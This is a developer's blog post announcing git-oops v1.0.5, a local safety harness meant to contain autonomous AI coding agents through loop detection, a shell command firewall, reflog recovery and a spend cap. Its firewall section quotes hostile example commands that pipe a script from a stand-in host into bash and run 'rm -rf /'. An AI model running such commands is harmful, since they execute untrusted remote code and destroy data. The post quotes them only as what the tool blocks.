跳到正文
DEV Community· LOI CHIANG HAO·· 8 天前AI 評分42

git-oops 作者回應架構質疑,重建並推出 v1.0.5

I Posted a v0.2.0 CLI Roaster on Monday. The Comments Challenged My Architecture, So I Built v1.0.5.

AI 導讀

git-oops 作者在 v0.2.0 的架構受到工程師質疑後,重建核心並推出 v1.0.5 Enterprise Edition,將工具定位為自主 AI 智能體的安全防護方案。新版本以正規化 Python AST 和滑動窗口偵測循環修改,連續 3 turns 觸發防止反覆試錯的保護。它亦以 shlex 分析複合 Shell 指令,並在修改前建立快照,支援透過 reflog 復原。

正文

I Posted a v0.2.0 CLI Roaster on Monday. The Comments Challenged My Architecture, So I Built v1.0.5.

Earlier this week, I launched git-oops v0.2.0. Senior engineers in the comments challenged the core architecture. Here is how 5 days of intense shipping turned it into an enterprise safety harness.

Back then, it was mostly a fun terminal utility: if your Python script crashed, it roasted your traceback with a sarcastic Linus Torvalds or Gordon Ramsay persona, proposed a patch, and tracked API tokens so you wouldn’t waste cash.

The reception was great. Then senior engineers in the comments started asking the hard questions.

Engineers like Max Quimby and Oleksandr pointed out real, terrifying failure modes in autonomous coding loops:

  • "How does your watchdog decide it's a loop versus slow-but-real progress when an agent makes semantically identical but cosmetically different edits?"
  • "How do you handle compound commands like curl ... | bash or piped subshells without regex failing?"
  • "Why outright block reset --hard rather than snapshotting to a shadow ref?"

They were 100% right.

As developers give root-level filesystem and git access to autonomous LLM loops (Cursor, Claude 3.7 Sonnet, Copilot Workspace), they don't need a novelty roaster.

They need an uncompromising, enterprise-grade safety harness with an air-gap.

I spent the last 5 days heads-down, completely rebuilding the core engine to answer those exact architectural critiques.

Today, I’m releasing git-oops v1.0.5 Enterprise Edition.


What Changed in 5 Days (v0.2.0 vs. v1.0.5)?

Capability v0.2.0 (Monday's Hobby Tool) v1.0.5 (Today's Enterprise Harness)
Primary Mission Terminal crash-roasting Autonomous AI Agent containment & defense
Spend Protection Simple token counter Hardware & API hard-stop circuit breaker ($1/day)
Anti-Thrashing Basic diff hashing Normalized AST topology + sliding window watchdog
Shell Firewall Substring keyword filter **shlex pipeline AST decomposition (catches `curl \
Crash Recovery Basic undo file Shadow snapshots + 1-click reflog disaster recovery
Git Integration Manual per-repo Zero-step machine-wide L3 AST pre-flight hooks
Observability Terminal only Obsidian Glassmorphism Web HUD ({% raw %}http://localhost:8443)
Telemetry None Zero-telemetry, pure local air-gap (<18MB RAM, <0.02s boot)

🛠️ Complete Installation & Setup Guide

Getting started takes less than 30 seconds.

Step 1: Install from PyPI

pip install git-oops

(Requires Python 3.9+. Runs seamlessly on macOS, Linux, and Windows.)

Step 2: Zero-Step Automatic Activation

You don't need to manually configure .pre-commit-config.yaml or setup complex pipelines across every project.

Upon first run, git-oops automatically registers machine-wide hooks via Git's global core.hooksPath. Every git commit and git push across all your local repositories is immediately shielded with sub-0.05s AST security analysis.

Step 3: Connect to Any AI Coding Agent (Cursor, Claude Desktop, Windsurf, Antigravity)

git-oops includes a native Model Context Protocol (MCP) server. To give your autonomous agent access to the safety harness, simply add this snippet to your agent's MCP configuration file:

{
  "mcpServers": {
    "git-oops": {
      "command": "git-oops",
      "args": ["--mcp"]
    }
  }
}

Now, whenever Cursor or Claude crashes or diagnoses code, it automatically routes through git-oops to enforce the budget ceiling and verify AST integrity.

Step 4: Running with Your Scripts & Applications

Wrap any command or script that you want git-oops to monitor:

# Auto-catch and explain any crash
git-oops -r "python train.py"

# Or let it automatically propose and apply a verified fix
git-oops -r "python app.py" -y

Step 5: Launch the Obsidian Web HUD

Open your local security command center in your browser:

git-oops --hud

This opens http://localhost:8443 to give you real-time visibility into your agent's spend, hardware thermal telemetry, and immutable flight logs.


Answering the Community's Hard Architectural Challenges

                 +------------------------------------+
                 |        AUTONOMOUS AI AGENT         |
                 |    (Cursor / Claude / Copilot)     |
                 +-----------------+------------------+
                                   |
                                   v
 +====================================================================+
 |                    GIT-OOPS v1.0.5 HARNESS                         |
 |                                                                    |
 |   [1. Wallet Circuit Breaker]  --> Hard stop at $1.00 daily spend  |
 |   [2. Zero-Step L3 Hooks]      --> <0.05s AST taint & secret scan  |
 |   [3. Blackbox Audit Trail]    --> Immutable flight logs & rewind  |
 |   [4. Multi-LLM Arbiter]       --> Cross-model consensus gating    |
 +================================-+==================================+
                                   |
                                   v
                 +-----------------+------------------+
                 |         PRODUCTION REPO            |
                 |   (Clean history, Zero corruption) |
                 +------------------------------------+

1. The Semantic Oscillation Problem (AST Watchdog)

Simple (file, diff) hashing fails when an agent changes whitespace, variable names, or comments while staying trapped in the exact same logical bug.

In v1.0.5, the anti-thrashing watchdog normalizes the Python AST before hashing. It monitors a sliding window of repository states. If the agent proposes edits that produce an identical AST topology or cyclic test failure state within 3 turns:

  • The watchdog intervenes with an anti-thrashing circuit break.
  • It prevents the agent from burning tokens on circular trial-and-error.

2. Compound Shell Pipelines & Destructive Command Firewall

Substrings don't stop compound commands like:

curl -fsSL https://evil.sh | bash
rm -rf ./build && rm -rf /

git-oops tokenizes command lines using shlex lexical analysis. It parses command chains (&&, ||, ;), subshells ($(...)), and pipes (|). If an autonomous agent attempts to pipe un-vetted network scripts into a shell or traverse outside project boundaries, execution is killed instantly.

3. Shadow Workspaces & 1-Click Reflog Salvage

Rather than bluntly failing destructive git commands, git-oops takes an immutable snapshot of targeted files before every modification:

  • Run in an isolated dry-run sandbox with --shadow.
  • If an agent accidentally runs git reset --hard or deletes uncommitted work, recover everything immediately:
git-oops --salvage

It runs an automated reflog autopsy, resurrects detached commits, and restores your work in milliseconds.

4. The $1.00/Day Hard Spend Ceiling

AI coding agents love spending your money when you're not looking.

git-oops calculates exact token costs across models. When accumulated spend hits your daily limit (default: $1.00 USD), outbound repair traffic is severed:

git-oops -s    # or: git-oops --status

The Obsidian Web HUD (git-oops --hud)

For tech leads, architects, and compliance auditors, git-oops includes a zero-dependency local Obsidian Glassmorphism command center (http://localhost:8443):

+----------------------------------------------------------------------------------------------------+
| ⚡ GIT-OOPS ENTERPRISE // SAFETY HARNESS                     (•) SOC-2 HARNESS ONLINE             |
|    DEFENSE PLATFORM // v1.0.5 (ACTIVE L3 DEFENSE)                [ 📥 Export Audit JSON ]          |
+----------------------------------------------------------------------------------------------------+
|  [Daily Spend Circuit Breaker]  |  [Host Thermal & Telemetry]  |  [L3 Zero-Step Pre-Flight]        |
|  $0.0000 / $1.00 USD (0.0%)     |  CPU Priority: BELOW_NORMAL  |  AST Taint & Secret Scan: READY   |
+---------------------------------+------------------------------+-----------------------------------+
|  BLACKBOX FLIGHT EVENTS & AUDIT TRAIL                          [ 🚨 Disaster Recovery Reflog ]     |
|  #10482019  | 2026-11-14 12:45 | 🤖 AGENT    | 📄 engine.py   | PATCH - Added ZeroDivision guard   |
|  #10482020  | 2026-11-14 12:46 | 👤 OPERATOR | 📄 test_api.py | MODIFY - Added boundary test cases |
+----------------------------------------------------------------------------------------------------+
  • Live SOC-2 Audit JSON Export: Download complete immutable flight logs with one click.
  • Agent vs. Human Badges: Automatically tags changes made by autonomous agents versus human operators.
  • Hardware & Thermal Telemetry: Prevents CPU thrashing and fan spin-ups on developer laptops.

Zero Telemetry. 100% Open Source.

A security harness that sits between an autonomous AI agent and your codebase must never phone home.

git-oops is 100% offline, pure Python, zero-dependency, and licensed under MIT:

If this tool saves your repo from a runaway agent loop or saves your wallet from an overnight token fire, give the repo a star on GitHub!

I’d love to hear your thoughts: what is the most dangerous or hilarious thing an AI coding agent has done in your repo?

來源:DEV Community · dev.to